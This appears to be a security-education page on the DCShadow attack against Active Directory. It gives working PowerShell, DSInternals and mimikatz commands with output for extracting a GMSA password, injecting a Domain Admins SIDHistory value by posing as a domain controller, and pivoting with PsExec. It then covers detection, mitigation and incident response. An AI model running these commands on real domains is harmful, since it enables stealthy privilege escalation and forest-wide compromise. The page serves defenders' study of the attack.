Overview
DCShadow is a technique in which an attacker abuses compromised replication permissions to mimic a domain controller and make malicious changes to Active Directory. It is a particularly stealthy technique, as the methods it uses do not create logs that detail the changes made. Thus, it can be difficult to discover and remove the changes made by an adversary.
How It Works
Diagram
Video Tutorial
Step 1 - Compromises necessary privileges
To perform the DCShadow attack an adversary must first compromise the credentials of a user with administrative permissions in Active Directory. For example, the password for a poorly secured Group Managed Service Account (GMSA) with those privileges could be compromised.
Code
PS> Install-Module DSInternals -Force
PS> $GMSAPwd = (Get-ADServiceAccount GMSA1 -Prop msDS-ManagedPassword).'msDS-ManagedPassword'
PS> ConvertFrom-ManagedPasswordBlob $GMSAPwd | Select-Object -ExpandProperty CurrentPassword
DETdgh5h76*%3fghy6%#456jf1!!zcCTsvy;.*$'P
PS>
Step 2 - Performs a DCShadow Attack
Using the privileges compromised in the previous step, the adversary can now replicate objects from Active Directory, make changes to them, and push those changes back to a real domain controller.
To execute the attack, the adversary must interact with two consoles: in the first, the adversary must elevate to SYSTEM and make changes to the replicated object; in the second, the attacker uses the compromised permissions to push the changes back to a real domain controller. It is often used to surreptitiously hide persistence mechanisms, or to escalate privileges across domain trusts.
A common example, demonstrated below for the user BobT, is to inject a SIDHistory. value for a privileged group in the same or another trusting domain. The SID used in this example represents the Domain Admins group in the parent (or forest root) domain.
Console 1
PS> .\mimikatz.exe
mimikatz # !+
[*] 'mimidrv' service not present
[+] 'mimidrv' service successfully registered
[+] 'mimidrv' service ACL to everyone
[+] 'mimidrv' service started
mimikatz # !ProcessToken
Token from process 0 to process 0
* from 0 will take SYSTEM token
* to 0 will take all 'cmd' and 'mimikatz' process
Token from 4/System
* to 2232/powershell.exe
* to 1252/cmd.exe
* to 4496/mimikatz.exe
mimikatz # lsadump::dcshadow /object:"CN=BobT,OU=Employees,DC=sub,DC=domain,DC=com" /attribute:SidHistory /value:S-1-5-21-441320023-234525631-506766575-512
** Domain Info **
Domain: DC=sub,DC=domain,DC=com
Configuration: CN=Configuration,DC=domain,DC=com
Schema: CN=Schema,CN=Configuration,DC=domain,DC=com
dsServiceName: ,CN=Servers,CN=Site2,CN=Sites,CN=Configuration,DC=domain,DC=com
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 468849
** Server Info **
Server: dc1.sub.domain.com
InstanceId : {be2d1604-3232-42f6-9c5b-8a37fbcdd357}
InvocationId: {b38c988f-c904-4c18-afb3-943f12c12399}
Fake Server (not already registered): wks2.sub.domain.com
** Attributes checking **
#0: SidHistory
** Objects **
#0: CN=BobT,OU=Employees,DC=sub,DC=domain,DC=com
SidHistory (1.2.840.113556.1.4.609-90261 rev 0):
S-1-5-21-441320023-234525631-506766575-512
(01050000000000051500000057024e1abf93fa0defa4341e00020000)
** Starting server **
> BindString[0]: ncacn_ip_tcp:wks2[59644]
> RPC bind registered
> RPC Server is waiting!
== Press Control+C to stop ==
cMaxObjects : 1000
cMaxBytes : 0x00a00000
ulExtendedOp: 0
pNC->Guid: {5bf57149-701e-47c1-bb39-35577f4ea087}
pNC->Sid : S-1-5-21-3501040295-3816137123-30697657
pNC->Name: DC=sub,DC=domain,DC=com
SessionKey: 1ade4b2cd9238108e9cc7c275202b9705c4bca951cbdf0e09b6a061a0e678740
1 object(s) pushed
> RPC bind unregistered
> stopping RPC server
> RPC server stopped
Console 2
PS> .\mimikatz.exe
mimikatz # lsadump::dcshadow /push
** Domain Info **
Domain: DC=sub,DC=domain,DC=com
Configuration: CN=Configuration,DC=domain,DC=com
Schema: CN=Schema,CN=Configuration,DC=domain,DC=com
dsServiceName: ,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=domain,DC=com
domainControllerFunctionality: 7 ( WIN2016 )
highestCommittedUSN: 1037880
** Server Info **
Server: dc1.sub.domain.com
InstanceId : {ebe88399-c570-4143-bb89-9dc6546b8e09}
InvocationId: {bef4eddf-eb26-4324-ba9d-abbae40669c5}
Fake Server (not already registered): wks2.sub.domain.com
** Performing Registration **
** Performing Push **
Syncing DC=sub,DC=domain,DC=com
Sync Done
** Performing Unregistration **
Step 3 - Uses changes to further objectives
Next, the adversary authenticates with the BobT user to complete their pivot and privilege escalation to the forest root domain. Gaining administrative access to the forest root domain allows the attacker to compromise any other domain in the forest.
Code
PS> .\PsExec.exe \\dc1.domain.com powershell.exe
PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS> hostname
dc1
PS>
Detect
It is possible to detect signs of DCShadow through network and Windows event log monitoring. However, neither approach readily shows the changes made by the adversary. Network monitoring of DRSUAPI RPC requests for the operation DRSUAPI_REPLICA_ADD originating from systems that are not known domain controllers is the only concrete way to identify DCShadow.
It is also possible to detect certain signs of DCShadow in Windows event logs. In order to mimic a domain controller, DCShadow must make several changes in Active Directory: 1) add a new NTDSDSA object, and 2) add a global catalog (GC/<host>) servicePrincipalName to a computer object that is not a known domain controller. After the attack is completed, these items are removed.
The Windows event log Audit Directory Service Changes subcategory includes Event ID 5136 and Event ID 5141, which can be analyzed to look for creation and deletion of server objects within sites.
Mitigate
Because DCShadow abuses features and privileges of Active Directory, it is not possible to eliminate entirely. However, the following items can help reduce the risk that an adversary can successfully obtain the privileges necessary to execute the attack.
- Utilize host-based firewalls to constrain lateral movement. For example, firewall policies should only allow RDP or other remote management from a small number of approved, controlled, and monitored systems.
- Do not allow users to possess administrative privileges across security boundaries. This greatly reduces the risk that an adversary can escalate their privileges.
- Constrain the number of users with permissions to add computer objects to Active Directory.
- Reduce and tightly govern built-in privileged groups and delegated administrative permissions.
- Adopt good Active Directory hygiene: remove unused sites and computer objects.
Respond
DCShadow requires an adversary to have obtained substantial (e.g. Domain Admins) privileges in Active Directory. If it is detected, a total compromise of Active Directory should be presumed.
- Activate the incident response process and alert the incident response team.
- Identify and quarantine implicated computers for forensic investigation and remediation activities.
